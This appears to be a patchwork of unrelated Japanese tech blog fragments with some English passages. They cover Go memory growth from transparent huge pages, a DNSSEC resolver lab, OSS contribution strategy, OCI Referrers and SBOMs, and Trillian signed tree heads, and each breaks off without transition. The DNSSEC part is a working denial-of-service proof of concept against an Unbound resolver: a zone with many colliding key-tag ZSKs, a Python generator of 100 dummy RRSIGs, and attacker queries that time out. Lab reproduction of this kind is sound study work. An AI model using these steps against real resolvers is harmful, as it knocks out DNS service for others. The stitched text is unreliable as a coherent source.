Go言語で書かれたOSSのアプリケーションサーバをLinuxコンテナ on Kubernetesで運用していました。このサーバは主に夜間バッチでHTTPリクエストを処理するようになっています。夜間バッチ以外ではほぼ処理を行いません。通常、バッチ処理が終わってしばらくするとメモリ使用量は減少します。ですが利用しているOSSのバージョンを上げたあと、メモリ使用量がじわじわと増えていく現象が起きました。もう少し具体的には、バッチ処理後はメモリ使用量が減少しますが、しばらくすると突然増加し始め、そのまま放置するとどんどん増えていきます。
If you experience an increase in memory usage when upgrading to Go 1.21.1 or later, try applying this setting; it will likely resolve your issue. As an additional workaround, you can call the Prctl function with PR_SET_THP_DISABLE to disable huge pages at the process level, or you can set GODEBUG=disablethp=1 (to be added in Go 1.21.6 and Go 1.22) to disable huge pages for heap memory. Note that the GODEBUG setting may be removed in a future release.
container_memory_cache -- Number of bytes of page cache memory.
container_memory_rss -- Size of RSS in bytes.
container_memory_swap -- Container swap usage in bytes.
container_memory_usage_bytes -- Current memory usage in bytes,
including all memory regardless of
when it was accessed.
container_memory_max_usage_bytes -- Maximum memory usage recorded
in bytes.
container_memory_working_set_bytes -- Current working set in bytes.
container_memory_failcnt -- Number of memory usage hits limits.
container_memory_failures_total -- Cumulative count of memory
allocation failures.
Set /sys/kernel/mm/transparent_hugepage/khugepaged/max_ptes_none to 0.
This setting controls how many additional pages the Linux kernel daemon can allocate when trying to allocate a huge page. The default setting is maximally aggressive, and can often undo work the Go runtime does to return memory to the OS. Before Go 1.21, the Go runtime tried to mitigate the negative effects of the default setting, but it came with a CPU cost. With Go 1.21+ and Linux 6.2+, the Go runtime no longer mutates huge page state.
まさに我々が直面していた問題を説明しているようでした。さらに、参照として貼られているLinuxカーネルのBugzillaチケットのタイトルは "Pages madvise'd as MADV_DONTNEED are slowly returned to the program's RSS" となっていて「完全にこれだ...」となりました。
FROM debian:12
# Install packages
RUN apt-get update && apt-get install -y build-essential libexpat1-dev libssl-dev wget vim bash dnsutils
# Download and extract the Unbound source code
RUN wget https://nlnetlabs.nl/downloads/unbound/unbound-1.19.0.tar.gz \
&& tar -xzvf unbound-1.19.0.tar.gz \
&& rm unbound-1.19.0.tar.gz
# Build and install Unbound from the source code
RUN cd unbound-1.19.0 \
&& ./configure \
&& make \
&& make install
# Create unbound user and group
RUN groupadd -r unbound && useradd -r -g unbound unbound
# Run Unbound in the foreground
CMD ["unbound", "-d"]
server:num-threads:1interface: 0.0.0.0
port:53do-ip4: yes
do-ip6: no
do-udp: yes
do-tcp: yes
# DNSSEC settingstrust-anchor-file:"/usr/local/etc/unbound/a.test.key" # Other settings # Allow access only from the local networkaccess-control: 10.10.0.0/24 allow
# Adjust the verbosity of the logverbosity:1use-syslog: no
local-zone:"test." nodefault
stub-zone:name:"a.test"stub-addr: 10.10.0.4
$ cat a.test.zone
$TTL86400
@ IN SOA ns1.a.test. admin.a.test. (2023102401; Serial3600; Refresh1800; Retry604800; Expire86400) ; Negative Cache TTL
;
@ IN NS ns1.a.test.
ns1 IN A 10.10.0.4
www IN A 10.10.0.4
a IN A 10.10.0.4
b IN A 10.10.0.4
c IN A 10.10.0.4
$ dnssec-signzone -K . -N INCREMENT -o a.test-t a.test.zone ksk.key
Verifying the zone using the following algorithms:
- ECDSAP384SHA384
Missing ZSK for algorithm ECDSAP384SHA384
No correct ECDSAP384SHA384 signature for a.test NSEC3PARAM
No correct ECDSAP384SHA384 signature for a.test SOA
No correct ECDSAP384SHA384 signature for a.test NS
No correct ECDSAP384SHA384 signature for a.a.test A
No correct ECDSAP384SHA384 signature for b.a.test A
No correct ECDSAP384SHA384 signature for c.a.test A
No correct ECDSAP384SHA384 signature for d.a.test A
No correct ECDSAP384SHA384 signature for e.a.test A
No correct ECDSAP384SHA384 signature for ns1.a.test A
No correct ECDSAP384SHA384 signature for www.a.test A
No correct ECDSAP384SHA384 signature for 11O1NM552SHNJ6CP6A4LU2LR56P0GKP5.a.test NSEC3
No correct ECDSAP384SHA384 signature for 3IN16J1JT24R0R89VJKBB2N24PKVD7QL.a.test NSEC3
No correct ECDSAP384SHA384 signature for 6VA1LJ7EB0IMT58T1ULE4FTKLHOA6UJ9.a.test NSEC3
No correct ECDSAP384SHA384 signature for C5US2U7DNIN7LATGR8EV0KM6A1718G60.a.test NSEC3
No correct ECDSAP384SHA384 signature for E94ICI9GSPD9ALI175OIVR9K9JV57ELI.a.test NSEC3
No correct ECDSAP384SHA384 signature for T7DV3EGS2KB198VGQPMGGOV3LJM5HG9J.a.test NSEC3
No correct ECDSAP384SHA384 signature for U3KVP6DSV2MOHGALKQQT5K199FCHKB0E.a.test NSEC3
No correct ECDSAP384SHA384 signature for UL17RQK0O1NOII8C7UBN5ED7DPDCG635.a.test NSEC3
The zone is not fully signed for the following algorithms:
ECDSAP384SHA384
.
DNSSEC completeness test failed.
Zone verification failed (failure)
Signatures generated: 20
Signatures retained: 0
Signatures dropped: 0
Signatures successfully verified: 0
Signatures unsuccessfully verified: 0
Signing time in seconds: 0.040
Signatures per second: 500.000
Runtime in seconds: 4.330
$ cat zsk.key
; This is a zone-signing key, keyid 6350, for a.test.
; Created: 20240217094927(Sat Feb 17 09:49:27 2024); Publish: 20240217094927(Sat Feb 17 09:49:27 2024); Activate: 20240217094927(Sat Feb 17 09:49:27 2024)
a.test. IN DNSKEY 256314 DcYreAh+USsK1mtv7bSR2iaQvShPUqCy7l/BRQXttAFupXp6pUaQZS+k ii+H2JJqd+rS4YgC3KCd/by8yQi5j+WSy2yRprSuFuDyqZMFnDT/Py+n GjmIa59+W1iMdEYb
これをa.test.zoneに書き込みます。
$ cat zsk.key >> a.test.zone
そして zsk.key のパスも指定して dnssec-signzone を再度実行します。
root@e0f61a428aad:/auth# dnssec-signzone -K . -N INCREMENT -o a.test-t a.test.zone ksk.key zsk.key
Verifying the zone using the following algorithms:
- ECDSAP384SHA384
Zone fully signed:
Algorithm: ECDSAP384SHA384: KSKs: 1 active, 0 stand-by, 0 revoked
ZSKs: 1 active, 229 stand-by, 0 revoked
a.test.zone.signed
Signatures generated: 16
Signatures retained: 0
Signatures dropped: 0
Signatures successfully verified: 0
Signatures unsuccessfully verified: 0
Signing time in seconds: 0.020
Signatures per second: 800.000
Runtime in seconds: 0.660
無事に署名されました。
$ cat a.test.zone.signed
; File written on Sun Feb 18 10:14:35 2024
; dnssec_signzone version 9.18.24-1-Debian
a.test. 86400 IN SOA ns1.a.test. admin.a.test. (2023102402; serial3600; refresh (1 hour)1800; retry (30 minutes)604800; expire (1 week)86400; minimum (1 day))
...
86400 DNSKEY 256314( AJTptT8lmZiuZ+qd01/OiH2LHUk1VzL3RSNx ENG91nn0D1/vzl95ov6R4QPR3+Eu0he2G+bs 8m2N+05YzCRMRBOa0IqDHCD4yz7+2+0rZUNA qs5ISE5bF+BoZLMXgXyQ) ; ZSK; alg = ECDSAP384SHA384 ; key id =635086400 DNSKEY 256314( ASjorexlnfI2Ltb6bL2wWJ3X31rvPHFIyfpR AaMGaSyZWSIiZRNFF0n/7eJ+s+b17Jxiq6Rp MSrj2CJu1rrfrYSHxQK09NnlzjQoFM0qoEJa Cd0e/ZoqTiE9mgE7BPs9) ; ZSK; alg = ECDSAP384SHA384 ; key id =635086400 DNSKEY 256314( ZjfGUThRErubs8A1XoZgDvD0swkaMDS5TqnI 26xEAu9jxVdBKMf/8maFsYOrlIBGbKIwSSby Qpgc9wnX8zt4AHoSw4v7jf5xlh6Hluzy0GC2 1FQGw37h1PjMDzxWeeeN) ; ZSK; alg = ECDSAP384SHA384 ; key id =6350
key id = 6350 なDNSSECレコードが大量に並んでいます。このようなことは自然にはまず起こらないので異常事態です。緩和策では実際にこのように衝突する鍵の数を制限していたりします。
www.a.test. 86400 IN A 10.10.0.486400 RRSIG A 14386400(20240319155508202402181555086350 a.test. 4h+KDqE8piyNhfEWeAEVYw0nw4NaAv9zkZK7 +c7tgV54HHGJYsyMPYdJwgF+Fo02Ky4aSbaN uqsI/jJg/2hHmOS0MvAMRHyeMVsNHx2aoTvw dbkzxlWJKGXfUCQGSp3y )
$ cat rrsig.py
import time
from datetime import datetime, timezone
from cryptography.hazmat.primitives.asymmetric import ec
from cryptography.hazmat.backends import default_backend
import base64
import os
defcreate_dummy_signature():
# Generate a dummy digital signature
dummy_signature = os.urandom(96) # Match the signature size for ECDSAP384SHA384return base64.b64encode(dummy_signature).decode('utf-8')
defcreate_dummy_rrsig(signer_name, type_covered, algorithm, labels, original_ttl,
expiration, inception, key_tag):
dummy_signature = create_dummy_signature() # Generate a dummy digital signature# Format the signature start and end times
inception_date = datetime.fromtimestamp(inception, timezone.utc).strftime('%Y%m%d%H%M%S')
expiration_date = datetime.fromtimestamp(expiration, timezone.utc).strftime('%Y%m%d%H%M%S')
# Create the RRSIG record
rrsig_record = f"{type_covered} {algorithm} {labels} {original_ttl} {expiration_date} "\
f"{inception_date} {key_tag} {signer_name} {dummy_signature}"return rrsig_record
# Parameters for creating a dummy RRSIG record
signer_name = "a.test."# Signer's name
type_covered = "A"# Record type being covered
algorithm = 14# ECDSAP384SHA384 algorithm
labels = 3# Number of labels in the signed domain name
original_ttl = 86400# Original TTL of the signed record
current_time = int(time.time())
expiration = current_time + 7 * 24 * 3600# Expiration time (one week from now)
inception = current_time - 24 * 3600# Start time (one day ago)
key_tag = 6350# Key tag# Generate the dummy RRSIG recordsfor i inrange(100):
dummy_rrsig = create_dummy_rrsig(signer_name, type_covered, algorithm, labels,
original_ttl, expiration, inception, key_tag)
print(f"\t\t\t86400\tRRSIG\t{dummy_rrsig}")
$ docker compose exec-it attacker dig @10.10.0.3 www.a.test;; communications error to 10.10.0.3#53: timed out
;; communications error to 10.10.0.3#53: timed out
;; communications error to 10.10.0.3#53: timed out
; <<>> DiG 9.18.24<<>> @10.10.0.3 www.a.test
; (1 server found);; global options: +cmd;; no servers could be reached
$ docker compose exec-it attacker dig @10.10.0.3 a.a.test;; communications error to 10.10.0.3#53: timed out
;; communications error to 10.10.0.3#53: timed out
;; communications error to 10.10.0.3#53: timed out
; <<>> DiG 9.18.24<<>> @10.10.0.3 a.a.test
; (1 server found);; global options: +cmd;; no servers could be reached
最近だとMicrosoftやRed Hat, DatadogやElasticからのPRが増えていて、エンドユーザよりは弊社OSSを組み込んでサービスとして提供している会社からの貢献が大きいです。
もちろんありがたいのですが、一方でこれらは彼らのサービスをよりよくするためのものであり、気軽に受け入れることで競合を強くしてしまうという懸念もあります。
そういった機能追加がどの程度弊社の利益に寄与するかを考える必要があります。
上のDockerのアナウンスでも触れられているように、OCIアーティファクトの代表例としてSoftware Bill of Materials (SBOM)があります。SBOMについては最近解説記事が多いのでここでは詳しくは説明しませんが、今回の文脈だとコンテナイメージを構成するソフトウェアの一覧表を指します。ソフトウェアサプライチェーンセキュリティへの関心が高まる中で注目を集めているのがSBOMです。単なるソフトウェア部品表なのでコンテナイメージに限った話ではないのですが、今回はコンテナイメージに着目します。このSBOMはコンテナイメージのメタデータなので、コンテナイメージに紐付けられると都合が良いです。しかし現状ではこの方法は確立されていません。コンテナイメージを新たに作り直してイメージ内のファイルとしてSBOMを保存しているケースもありますが、標準として策定されているわけではありません。
「いやいやそのレベルの指摘は仕様策定中にするべきだろう」という真っ当な意見が出るなど絶賛議論中です。ということでどうなるかはまだ分からないのですが、一旦現状のものを見ていきます。安定してから見れば良くない?と言われるとその通りなのですが、KubeCon EU 2023でOCI Referrers APIの発表を控えておりそういうわけにもいかない状況です。
$ curl -sS-H"Accept: application/vnd.oci.image.index.v1+json" http://localhost:5002/v2/demo-referrers-2023/manifests/sha256-a5cb013fa8479e343bfc8505163a53c68d344813576b6efb602828f34d80843d | jq .
{"errors": [{"code": "MANIFEST_UNKNOWN",
"message": "manifest unknown",
"description": "This error is returned when the manifest, identified by name\n\t\t\tand tag is unknown to the repository.",
"detail": [{"reference": "sha256-a5cb013fa8479e343bfc8505163a53c68d344813576b6efb602828f34d80843d"}]}]}
リーフの値が改ざんされればTree head hash(上の図のH)の値が変わるため検知可能です。Tree head hashは他にもTree head, Root hash, Merkle tree hashなどと呼ばれたりもします。
Signed tree head
ですがこのTree head hashが改ざんされたら元も子もないです。リーフの値を改ざんし、Tree head hashを再計算してその値をセットすれば検証を不正に通すことが可能なためです。そこでTrillianではこのTree head hashに秘密鍵で署名します。これをSigned tree hash (STH) と呼びます。
Before trusting a tree head hash from Trillian, clients verify it using a public key that's typically published separately, depending on the application.
この検証によって信頼できるTree head hashを得ることが出来て、次で説明するInclusion proofの計算が意味のあるものになります。というのが自分の理解ですが、Cosignでは現状STHの検証を行っていません。RekorのレスポンスにSTHが含まれたのも最近です。